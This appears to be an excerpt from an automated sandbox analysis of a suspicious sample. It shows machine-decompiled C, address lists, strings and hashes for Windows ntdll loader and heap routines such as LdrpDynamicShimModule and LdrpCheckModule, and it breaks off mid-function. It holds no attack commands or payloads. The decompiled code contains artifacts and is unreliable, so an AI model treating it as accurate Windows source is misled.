0x34cb4c8c
0x34cb4c90
0x34cb4ca9
0x34cb4ca9
0x34cb4cae
0x34cb4ce4
0x34cb4cee
0x34cb4cf3
0x34cb4cf3
0x34cb4ce6
0x34cb4ce6
0x34cb4cb2
0x34cf3463
0x34cf347b
0x34cf3480
0x34cf348a
0x34cf3490
0x34cf3490
0x34cf348a
0x00000000
0x34cb4cb2
0x34cb4c98
0x34cb4cc5
0x34cf3429
0x00000000
0x00000000
0x34cf342f
0x34cb4cc5
0x34cb4ca1
0x34cf3434
0x34cf3435
0x34cf344f
0x34cf3454
0x34cf3454
0x34cb4ca7
0x00000000
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34CB4C84

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 34CF3466
minkernel\ntdll\ldrsnap.c, xrefs: 34CF344A, 34CF3476
LdrpFindDllActivationContext, xrefs: 34CF3440, 34CF346C
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 34CF3439

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: f618ce4c024f82f4a4ed26ad62d24591f49d5d85c7ea300f95f130a2b90c32c6
Instruction ID: 3253e20baa2b8252e8edeb55066f77370f2cdcbb17edcaa7a48dac184d969bcd
Opcode Fuzzy Hash: f618ce4c024f82f4a4ed26ad62d24591f49d5d85c7ea300f95f130a2b90c32c6
Instruction Fuzzy Hash: 58315BB6B08315AFFF13DB48C884AD976A7FB00B94F46836AD885E7160D7609C80C79D

Uniqueness

Uniqueness Score: -1.00%

Function 34CA237A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E34CA237A(intOrPtr* __ecx, void* __edx) {
				char _v8;
				signed int _v12;
				intOrPtr* _v16;
				void* __ebx;
				intOrPtr _t22;
				intOrPtr _t29;
				signed int _t30;
				signed char _t36;
				intOrPtr _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t48;
				signed int _t50;
				intOrPtr* _t51;
				signed int _t53;
				signed int _t55;
				void* _t59;

				_t38 =  *0x34d738b8; // 0x1
				_t50 = 0;
				_v16 = __ecx;
				_v12 = 0;
				_t55 = 0;
				if(_t38 == 0) {
					L2:
					if(_t38 == 1) {
						_t22 =  *0x34d768d8; // 0x0
						if(_t22 != 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50, _t22);
							 *0x34d768d8 = _t50;
							 *0x34d75d4c = _t50;
						}
					}
					 *0x34d738b8 = _t38;
					return _t55;
				}
				_t59 =  *0x34d768d8 - _t55; // 0x0
				if(_t59 != 0) {
					 *0x34d738b8 = 0;
					_t55 = L34D01BB6(_t38,  &_v8);
					if(_t55 >= 0) {
						_t51 =  *0x34d768d8; // 0x0
						while( *_t51 != 0) {
							 *0x34d791e0(_t51, 0, 1, 1, 0, 1, "true");
							_v8();
							if(0 == 0) {
								_t55 = 0xc0000142;
								L21:
								_t50 = 0;
								goto L2;
							}
							_t42 = _t51;
							_t10 = _t42 + 2; // 0x2
							_t48 = _t10;
							do {
								_t29 =  *_t42;
								_t42 = _t42 + 2;
							} while (_t29 != _v12);
							_t51 = _t51 + (_t42 - _t48 >> 1) * 2 + 2;
						}
						_t30 =  *0x7ffe0330;
						_t53 =  *0x34d79218; // 0x0
						_push("true");
						_v12 = _t30;
						_pop(_t45);
						_t46 = _t45 - (_t30 & 0x0000001f);
						asm("ror edi, cl");
						E34C8FED0(0x34d732d8);
						if( *0x34d765f4 < 3) {
							_t46 = _v16;
							if(( *( *_v16 - 0x20) & 0x00000800) == 0) {
								E34C76704(_t46, _t53 ^ _v12);
							}
						}
						_push(0x34d732d8);
						E34C8E740(_t46);
						goto L21;
					}
					_t36 =  *0x34d737c0; // 0x0
					if((_t36 & 0x00000003) != 0) {
						E34CFE692("minkernel\\ntdll\\ldrinit.c", 0xba1, "LdrpDynamicShimModule", 0, "Getting ApphelpCheckModule failed with status 0x%08lx\n", _t55);
						_t36 =  *0x34d737c0; // 0x0
					}
					if((_t36 & 0x00000010) != 0) {
						asm("int3");
					}
					_t55 = _t50;
				}
				goto L2;
			}

0x34ca2383
0x34ca238b
0x34ca238d
0x34ca2390
0x34ca2393
0x34ca2397
0x34ca23a5
0x34ca23a8
0x34ca23aa
0x34ca23b1
0x34cea878
0x34cea87d
0x34cea883
0x34cea883
0x34ca23b1
0x34ca23ba
0x34ca23c3
0x34ca23c3
0x34ca2399
0x34ca239f
0x34cea784
0x34cea78f
0x34cea793
0x34cea7cd
0x34cea80b
0x34cea7e3
0x34cea7e9
0x34cea7ee
0x34cea866
0x34cea85f
0x34cea85f
0x00000000
0x34cea85f
0x34cea7f0
0x34cea7f2
0x34cea7f2
0x34cea7f5
0x34cea7f5
0x34cea7f8
0x34cea7fb
0x34cea808
0x34cea808
0x34cea812
0x34cea817
0x34cea81d
0x34cea81f
0x34cea825
0x34cea826
0x34cea82d
0x34cea82f
0x34cea83b
0x34cea83d
0x34cea849
0x34cea850
0x34cea850
0x34cea849
0x34cea855
0x34cea85a
0x00000000
0x34cea85a
0x34cea795
0x34cea79c
0x34cea7b4
0x34cea7b9
0x34cea7be
0x34cea7c3
0x34cea7c5
0x34cea7c5
0x34cea7c6
0x34cea7c6
0x00000000

Strings

apphelp.dll, xrefs: 34CA2382
LdrpDynamicShimModule, xrefs: 34CEA7A5
minkernel\ntdll\ldrinit.c, xrefs: 34CEA7AF
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 34CEA79F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 34c0ed9e2a20258ebe12951a5e022917fa1fcede712b9257ae333d3e56a74849
Instruction ID: a2d530f310a1f5752d4d29dc428d18799107c0116076285012ce744d9a54b0ae
Opcode Fuzzy Hash: 34c0ed9e2a20258ebe12951a5e022917fa1fcede712b9257ae333d3e56a74849
Instruction Fuzzy Hash: 3D313576A00201EFF710DF19C890A6A7BBAFF84754F18405DE901B7250DB769883CB91

Uniqueness

Uniqueness Score: -1.00%

Function 34C7F8B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E34C7F8B0(signed int __edx, signed int _a4) {
				signed int _v8;
				void* _v28;
				void* _v54;
				void* _v60;
				void* _v64;
				char _v88;
				void* _v90;
				signed int _v92;
				char _v96;
				void* _v100;
				void* _v104;
				void* _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t73;
				signed int* _t86;
				signed int _t87;
				signed int _t91;
				char* _t92;
				char _t96;
				void* _t102;
				signed int* _t105;
				intOrPtr _t106;
				void* _t107;
				signed int* _t110;
				signed int _t111;
				char* _t118;
				signed int _t121;
				signed int _t127;
				void* _t128;
				void* _t129;
				signed int _t131;
				signed int _t132;
				void* _t139;
				signed int _t161;
				void* _t162;
				void* _t164;
				intOrPtr* _t166;
				void* _t169;
				signed int* _t170;
				signed int* _t171;
				signed int _t174;
				signed int _t176;

				_t158 = __edx;
				_t176 = (_t174 & 0xfffffff8) - 0x64;
				_v8 =  *0x34d7b370 ^ _t176;
				_push(_t128);
				_t161 = _a4;
				if(_t161 == 0) {
					__eflags =  *0x34d76960 - 2;
					if( *0x34d76960 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E34C7B910();
						__eflags =  *0x34d75da8;
						if(__eflags == 0) {
							_t139 = 2;
							E34D3FC95(_t128, _t139, _t161, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t162);
					_pop(_t164);
					_pop(_t129);
					return L34CC4B50(_t62, _t129, _v8 ^ _t176, _t158, _t162, _t164);
				}
				if( *((intOrPtr*)(_t161 + 8)) == 0xddeeddee) {
					_t73 =  *[fs:0x30];
					__eflags = _t161 -  *((intOrPtr*)(_t73 + 0x18));
					if(_t161 ==  *((intOrPtr*)(_t73 + 0x18))) {
						L30:
						_t62 = _t161;
						goto L27;
					}
					_t141 =  *(_t161 + 0x10);
					__eflags =  *(_t161 + 0x10);
					if( *(_t161 + 0x10) != 0) {
						_t158 = _t161;
						E34D278DE(_t141, _t161, 0, "true", 0);
					}
					E34C7FD8E(_t161, _t158);
					E34D402EC(_t161);
					_t158 = 1;
					E34C7918A(_t161, 1, 0, 0);
					E34D48E26(_t161);
					goto L26;
				}
				if(( *(_t161 + 0x44) & 0x01000000) != 0) {
					_t166 =  *0x34d73758; // 0x0
					 *0x34d791e0(_t161);
					_t62 =  *_t166();
					goto L27;
				}
				_t7 = _t161 + 0x58; // 0x8953046a
				_t147 =  *_t7;
				if( *_t7 != 0) {
					_t158 = _t161;
					E34D278DE(_t147, _t161, 0, "true", 0);
				}
				E34C7FD8E(_t161, _t158);
				if(( *(_t161 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t161 + 0x40) & 0x10000000;
					if(( *(_t161 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t127 = E34D2F85F(_t161);
					__eflags = _t127;
					if(_t127 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t161 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						E34C8FED0(0x34d74800);
						E34C7FAEC(_t161);
						_push(0x34d74800);
						E34C8E740(_t161);
						_t86 = _t161 + 0x9c;
						_t131 =  *_t86;
						while(_t86 != _t131) {
							_t87 = _t131;
							_t158 =  &_v92;
							_t131 =  *_t131;
							_v92 = _t87 & 0xffff0000;
							_v96 = 0;
							E34C7FABA( &_v92,  &_v96, 0x8000);
							_t91 = E34C93C40();
							__eflags = _t91;
							if(_t91 == 0) {
								_t92 = 0x7ffe0388;
							} else {
								_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t92;
							if( *_t92 != 0) {
								_t158 = _v92;
								L34D3DA30(_t131, _t161, _v92, _v96);
							}
							_t86 = _t161 + 0x9c;
						}
						if( *((char*)(_t161 + 0xea)) == 2) {
							_t96 =  *((intOrPtr*)(_t161 + 0xe4));
						} else {
							_t96 = 0;
						}
						if(_t96 != 0) {
							 *(_t176 + 0x1c) = _t96;
							_t158 = _t176 + 0x1c;
							_v88 = 0;
							E34C7FABA(_t176 + 0x1c,  &_v88, 0x8000);
						}
						_t132 = _t161 + 0x88;
						if( *_t132 != 0) {
							 *((intOrPtr*)(_t176 + 0x24)) = 0;
							_t158 = _t132;
							E34C7FABA(_t132, _t176 + 0x24, 0x8000);
							 *_t132 = 0;
						}
						if(( *(_t161 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t161 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t169 =  *((intOrPtr*)(_t161 + 0xa8)) - 0x10;
						E34C7FA44(_t169);
						if(_t169 != _t161) {
							goto L16;
						} else {
							_t102 = E34C93C40();
							_t170 = 0x7ffe0380;
							if(_t102 != 0) {
								_t105 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t105 = 0x7ffe0380;
							}
							if( *_t105 != 0) {
								_t106 =  *[fs:0x30];
								__eflags =  *(_t106 + 0x240) & 0x00000001;
								if(( *(_t106 + 0x240) & 0x00000001) != 0) {
									_t121 = E34C93C40();
									__eflags = _t121;
									if(_t121 != 0) {
										_t170 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t170;
									}
									 *((short*)(_t176 + 0x2a)) = 0x1023;
									_push(_t176 + 0x24);
									_push("true");
									_push(0x402);
									_push( *_t170 & 0x000000ff);
									 *(_t176 + 0x54) = _t161;
									E34CC2F90();
								}
							}
							_t107 = E34C93C40();
							_t171 = 0x7ffe038a;
							if(_t107 != 0) {
								_t110 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t110 = 0x7ffe038a;
							}
							if( *_t110 != 0) {
								_t111 = E34C93C40();
								__eflags = _t111;
								if(_t111 != 0) {
									_t171 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t171;
								}
								 *((short*)(_t176 + 0x4e)) = 0x1023;
								_push(_t176 + 0x48);
								_push("true");
								_push(0x402);
								_push( *_t171 & 0x000000ff);
								_v8 = _t161;
								E34CC2F90();
							}
							if(E34C93C40() != 0) {
								_t118 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t118 = 0x7ffe0388;
							}
							if( *_t118 != 0) {
								E34D3D9C6(_t161);
							}
							goto L26;
						}
					}
				}
			}

0x34c7f8b0
0x34c7f8b8
0x34c7f8c2
0x34c7f8c6
0x34c7f8c9
0x34c7f8ce
0x34cde467
0x34cde46e
0x34cde474
0x34cde47a
0x34cde47e
0x34cde49d
0x34cde4a2
0x34cde480
0x34cde495
0x34cde49a
0x34cde4a8
0x34cde4ad
0x34cde4b2
0x34cde4ba
0x34cde4c2
0x34cde4c3
0x34cde4c3
0x34cde4ba
0x34c7f9f6
0x34c7f9f6
0x34c7f9f8
0x34c7f9fc
0x34c7f9fd
0x34c7f9fe
0x34c7fa09
0x34c7fa09
0x34c7f8db
0x34cde4cd
0x34cde4d3
0x34cde4d6
0x34c7fa37
0x34c7fa37
0x00000000
0x34c7fa37
0x34cde4dc
0x34cde4e1
0x34cde4e3
0x34cde4e9
0x34cde4eb
0x34cde4eb
0x34cde4f2
0x34cde4f9
0x34cde504
0x34cde505
0x34cde50c
0x00000000
0x34cde50c
0x34c7f8e8
0x34cde516
0x34cde51f
0x34cde525
0x00000000
0x34cde525
0x34c7f8ee
0x34c7f8ee
0x34c7f8f5
0x34cde530
0x34cde532
0x34cde532
0x34c7f8fd
0x34c7f909
0x34cde53c
0x34cde543
0x00000000
0x00000000
0x34cde54b
0x34cde550
0x34cde552
0x00000000
0x00000000
0x00000000
0x34c7f90f
0x34c7f90f
0x34c7f918
0x00000000
0x34c7f91e
0x34c7f924
0x34c7f92b
0x34c7f930
0x34c7f931
0x34c7f936
0x34c7f93c
0x34c7f93e
0x34cde55d
0x34cde55f
0x34cde563
0x34cde56a
0x34cde578
0x34cde57c
0x34cde581
0x34cde586
0x34cde588
0x34cde59a
0x34cde58a
0x34cde593
0x34cde593
0x34cde59f
0x34cde5a2
0x34cde5a8
0x34cde5ae
0x34cde5ae
0x34cde5b3
0x34cde5b3
0x34c7f94d
0x34c7fa0c
0x34c7f953
0x34c7f953
0x34c7f953
0x34c7f957
0x34c7fa17
0x34c7fa1b
0x34c7fa28
0x34c7fa2d
0x34c7fa2d
0x34c7f95d
0x34c7f965
0x34cde5c7
0x34cde5cc
0x34cde5ce
0x34cde5d3
0x34cde5d3
0x34c7f96f
0x34c7f981
0x34c7f981
0x00000000
0x34c7f987
0x34c7f98d
0x34c7f992
0x34c7f999
0x00000000
0x34c7f99b
0x34c7f99b
0x34c7f9a0
0x34c7f9ac
0x34cde5e3
0x34c7f9b2
0x34c7f9b2
0x34c7f9b2
0x34c7f9b7
0x34cde5ea
0x34cde5f0
0x34cde5f7
0x34cde5fd
0x34cde602
0x34cde604
0x34cde60f
0x34cde60f
0x34cde60f
0x34cde618
0x34cde621
0x34cde622
0x34cde624
0x34cde62c
0x34cde62d
0x34cde631
0x34cde631
0x34cde5f7
0x34c7f9bd
0x34c7f9c2
0x34c7f9ce
0x34cde644
0x34c7f9d4
0x34c7f9d4
0x34c7f9d4
0x34c7f9d9
0x34cde64b
0x34cde650
0x34cde652
0x34cde65d
0x34cde65d
0x34cde65d
0x34cde666
0x34cde66f
0x34cde670
0x34cde672
0x34cde67a
0x34cde67b
0x34cde67f
0x34cde67f
0x34c7f9e6
0x34cde692
0x34c7f9ec
0x34c7f9ec
0x34c7f9ec
0x34c7f9f4
0x34c7fa3d
0x34c7fa3d
0x00000000
0x34c7f9f4
0x34c7f999
0x34c7f918

APIs

RtlDebugPrintTimes.NTDLL ref: 34CDE51F

Strings

(HeapHandle != NULL), xrefs: 34CDE4A8
HEAP[%wZ]: , xrefs: 34CDE490
HEAP: , xrefs: 34CDE49D

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: 83e3795f3b5fee48dabadf6dee92f1b951e83e9ae0d876709bc99fd2b9841e3c
Instruction ID: a7f9ccdf0e695c12692123d80a44ffe9ca922c8a7c99e38d35d12f6e480ed813
Opcode Fuzzy Hash: 83e3795f3b5fee48dabadf6dee92f1b951e83e9ae0d876709bc99fd2b9841e3c
Instruction Fuzzy Hash: 6D91E471304B40EFF316CB25C8C4B6ABBABFF45694F040559E9649B282EB34E841CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34CA0AEB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210
timeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E34CA0AEB(void* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t67;
				signed int _t70;
				signed int _t76;
				intOrPtr _t78;
				intOrPtr _t79;
				intOrPtr _t84;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t93;
				signed char _t101;
				intOrPtr _t104;
				void* _t108;
				void* _t111;
				signed int _t113;
				intOrPtr* _t117;
				signed int _t119;
				intOrPtr* _t120;
				signed int _t121;
				intOrPtr* _t122;
				signed int _t126;
				void* _t130;
				void* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t135;
				intOrPtr _t136;
				signed int _t137;
				signed int _t138;
				void* _t139;
				void* _t140;
				void* _t141;

				_t134 = 0;
				_t108 = __ecx;
				_v12 = 0;
				_v20 = 0;
				_t141 =  *0x34d768d8 - _t134; // 0x0
				if(_t141 != 0) {
					_v20 = 1;
				}
				if( *0x34d765f9 == 0) {
					_t136 =  *((intOrPtr*)(_t108 + 4));
					while(1) {
						__eflags = _t136 - _t108;
						if(_t136 == _t108) {
							break;
						}
						_t110 = _t136 - 0x54;
						E34CB7550(_t136 - 0x54);
						_t136 =  *((intOrPtr*)(_t136 + 4));
					}
					goto L2;
				} else {
					L2:
					_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x68));
					E34C8FED0(0x34d732d8);
					if( *0x34d765f0 != 0) {
						_t126 =  *0x7ffe0330;
						_t135 =  *0x34d79218; // 0x0
						_push("true");
						_pop(_t111);
						_t110 = _t111 - (_t126 & 0x0000001f);
						asm("ror edi, cl");
						_t134 = _t135 ^ _t126;
					}
					_t137 = 0;
					_t67 =  *((intOrPtr*)(_t108 + 4));
					_v36 = 0;
					_v32 = _t67;
					if(_t67 == _t108) {
						L11:
						_push(0x34d732d8);
						E34C8E740(_t110);
						return _t137;
					} else {
						_t113 = _v16 & 0x00000100;
						_v16 = _t113;
						do {
							_t138 = _t67 - 0x54;
							if(_t113 != 0) {
								_t110 = _t138;
								_t70 = E34C76DA6(_t138);
								_v36 = _t70;
								__eflags = _t70;
								if(_t70 < 0) {
									break;
								}
							}
							_t114 = _t138;
							E34C898DE(_t138, 0);
							if(_t134 != 0) {
								__eflags =  *0x34d765f8;
								if(__eflags == 0) {
									_t114 = _t134;
									 *0x34d791e0(_t138);
									 *_t134();
									 *(_t138 + 0x35) =  *(_t138 + 0x35) | 0x00000008;
								}
							}
							_t148 = _v20;
							if(_v20 == 0) {
								_t76 =  *(_t138 + 0x28);
								_t114 = _t76;
								_push("true");
								_pop(_t130);
								_v8 = _t76;
								if(E34CA1C7D(_t76, _t130, _t148) != 0) {
									_t117 = _v8;
									_t31 = _t117 + 2; // 0x2
									_t131 = _t31;
									do {
										_t78 =  *_t117;
										_t117 = _t117 + 2;
										__eflags = _t78 - _v12;
									} while (_t78 != _v12);
									_t114 = _t117 - _t131 >> 1;
									__eflags =  *0x34d768d8;
									if( *0x34d768d8 == 0) {
										_t33 = _t114 + 2; // 0x0
										_t79 = _t33;
									} else {
										_t104 =  *0x34d75d4c; // 0x0
										_t79 = _t104 + 1 + _t114;
									}
									_v28 = _t79;
									_t132 = E34C95D90(_t114,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t79 + _t79);
									_v24 = _t132;
									__eflags = _t132;
									if(_t132 != 0) {
										_t119 =  *0x34d768d8; // 0x0
										__eflags = _t119;
										if(_t119 == 0) {
											_t120 = _v8;
											_t52 = _t120 + 2; // 0x2
											_v40 = _t52;
											do {
												_t84 =  *_t120;
												_t120 = _t120 + 2;
												__eflags = _t84 - _v12;
											} while (_t84 != _v12);
											_t121 = _t120 - _v40;
											__eflags = _t121;
											_t114 = _t121 >> 1;
											E34CC88C0(_t132, _v8, (_t121 >> 1) + (_t121 >> 1));
											_t139 = _t139 + 0xc;
											L39:
											 *0x34d768d8 = _v24;
											 *0x34d75d4c = _v28;
											goto L9;
										}
										_t89 =  *0x34d75d4c; // 0x0
										_t90 = _t89 + _t89;
										__eflags = _t90;
										_v40 = _t90;
										E34CC88C0(_t132, _t119, _t90);
										_t133 = _v8;
										_t140 = _t139 + 0xc;
										_t122 = _v8;
										_t43 = _t122 + 2; // 0x2
										_v8 = _t43;
										do {
											_t93 =  *_t122;
											_t122 = _t122 + 2;
											__eflags = _t93 - _v12;
										} while (_t93 != _v12);
										_t114 = _v40 + 2;
										E34CC88C0(_v24 + _v40 + 2, _t133, (_t122 - _v8 >> 1) + (_t122 - _v8 >> 1));
										_t139 = _t140 + 0xc;
										L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *0x34d768d8);
										goto L39;
									} else {
										_t101 =  *0x34d737c0; // 0x0
										__eflags = _t101 & 0x00000003;
										if((_t101 & 0x00000003) != 0) {
											_push("Failed to allocated memory for shimmed module list\n");
											__eflags = 0;
											_push(0);
											_push("LdrpCheckModule");
											_push(0xaf4);
											_push("minkernel\\ntdll\\ldrinit.c");
											E34CFE692();
											_t101 =  *0x34d737c0; // 0x0
											_t139 = _t139 + 0x14;
										}
										__eflags = _t101 & 0x00000010;
										if((_t101 & 0x00000010) != 0) {
											asm("int3");
										}
										goto L9;
									}
								}
							}
							L9:
							E34CA0C2C(_t138, 1, _t114);
							 *(_t138 + 0x34) =  *(_t138 + 0x34) | 0x00000008;
							E34C9DF36( *((intOrPtr*)(_t138 + 0x18)), _t138 + 0x24, 0x14ad);
							_t113 = _v16;
							_t67 =  *((intOrPtr*)(_v32 + 4));
							_v32 = _t67;
						} while (_t67 != _t108);
						_t137 = _v36;
						goto L11;
					}
				}
			}

0x34ca0af6
0x34ca0af8
0x34ca0afa
0x34ca0afd
0x34ca0b00
0x34ca0b06
0x34ce9ea5
0x34ce9ea5
0x34ca0b13
0x34ca0bd3
0x34ca0be3
0x34ca0be3
0x34ca0be5
0x00000000
0x00000000
0x34ca0bd8
0x34ca0bdb
0x34ca0be0
0x34ca0be0
0x00000000
0x34ca0b19
0x34ca0b19
0x34ca0b27
0x34ca0b2a
0x34ca0b36
0x34ca0c0d
0x34ca0c15
0x34ca0c1e
0x34ca0c20
0x34ca0c21
0x34ca0c23
0x34ca0c25
0x34ca0c25
0x34ca0b3e
0x34ca0b40
0x34ca0b43
0x34ca0b46
0x34ca0b4b
0x34ca0bc2
0x34ca0bc2
0x34ca0bc7
0x34ca0bd2
0x34ca0b4d
0x34ca0b50
0x34ca0b56
0x34ca0b59
0x34ca0b59
0x34ca0b5e
0x34ce9eb1
0x34ce9eb3
0x34ce9eb8
0x34ce9ebb
0x34ce9ebd
0x00000000
0x00000000
0x34ce9ec3
0x34ca0b66
0x34ca0b69
0x34ca0b70
0x34ca0bec
0x34ca0bf3
0x34ca0bfa
0x34ca0bfc
0x34ca0c02
0x34ca0c04
0x34ca0c04
0x34ca0bf3
0x34ca0b72
0x34ca0b76
0x34ca0b78
0x34ca0b7b
0x34ca0b7d
0x34ca0b7f
0x34ca0b80
0x34ca0b8a
0x34ce9ec8
0x34ce9ecb
0x34ce9ecb
0x34ce9ece
0x34ce9ece
0x34ce9ed1
0x34ce9ed4
0x34ce9ed4
0x34ce9edc
0x34ce9ede
0x34ce9ee5
0x34ce9ef1
0x34ce9ef1
0x34ce9ee7
0x34ce9ee7
0x34ce9eed
0x34ce9eed
0x34ce9ef4
0x34ce9f0a
0x34ce9f0c
0x34ce9f0f
0x34ce9f11
0x34ce9f4e
0x34ce9f54
0x34ce9f56
0x34ce9fbb
0x34ce9fbe
0x34ce9fc1
0x34ce9fc4
0x34ce9fc4
0x34ce9fc7
0x34ce9fca
0x34ce9fca
0x34ce9fd0
0x34ce9fd0
0x34ce9fd3
0x34ce9fdd
0x34ce9fe2
0x34ce9fe5
0x34ce9fe8
0x34ce9ff0
0x00000000
0x34ce9ff0
0x34ce9f58
0x34ce9f5d
0x34ce9f5d
0x34ce9f62
0x34ce9f65
0x34ce9f6a
0x34ce9f6d
0x34ce9f70
0x34ce9f72
0x34ce9f75
0x34ce9f78
0x34ce9f78
0x34ce9f7b
0x34ce9f7e
0x34ce9f7e
0x34ce9f93
0x34ce9f9a
0x34ce9f9f
0x34ce9fb4
0x00000000
0x34ce9f13
0x34ce9f13
0x34ce9f18
0x34ce9f1a
0x34ce9f1c
0x34ce9f21
0x34ce9f23
0x34ce9f24
0x34ce9f29
0x34ce9f2e
0x34ce9f33
0x34ce9f38
0x34ce9f3d
0x34ce9f3d
0x34ce9f40
0x34ce9f42
0x34ce9f48
0x34ce9f48
0x00000000
0x34ce9f42
0x34ce9f11
0x34ca0b8a
0x34ca0b90
0x34ca0b96
0x34ca0ba1
0x34ca0baa
0x34ca0bb2
0x34ca0bb5
0x34ca0bb8
0x34ca0bbb
0x34ca0bbf
0x00000000
0x34ca0bbf
0x34ca0b4b

APIs

RtlDebugPrintTimes.NTDLL ref: 34CA0BFC

Strings

Failed to allocated memory for shimmed module list, xrefs: 34CE9F1C
minkernel\ntdll\ldrinit.c, xrefs: 34CE9F2E
LdrpCheckModule, xrefs: 34CE9F24

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: 472f1c22626142ee8288b72584e8d00b60b9aa14e230214999a62ecc18fa41ca
Instruction ID: 3281e0dd72a8544ec4d3544751a7091cb673802c4b567aec366a9deb719a98e9
Opcode Fuzzy Hash: 472f1c22626142ee8288b72584e8d00b60b9aa14e230214999a62ecc18fa41ca
Instruction Fuzzy Hash: D771F475A00605DFEB04DFA9C990AAEBBF6EF48348F18406DD841E7650E734AD46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 34D043D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E34D043D5(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __esi;
				signed char _t37;
				signed int _t41;
				intOrPtr _t44;
				signed int _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				void* _t54;
				signed int _t59;
				signed int _t60;
				signed int _t64;
				signed int _t66;
				intOrPtr _t68;
				signed int _t69;
				intOrPtr _t70;

				_t68 = _a4;
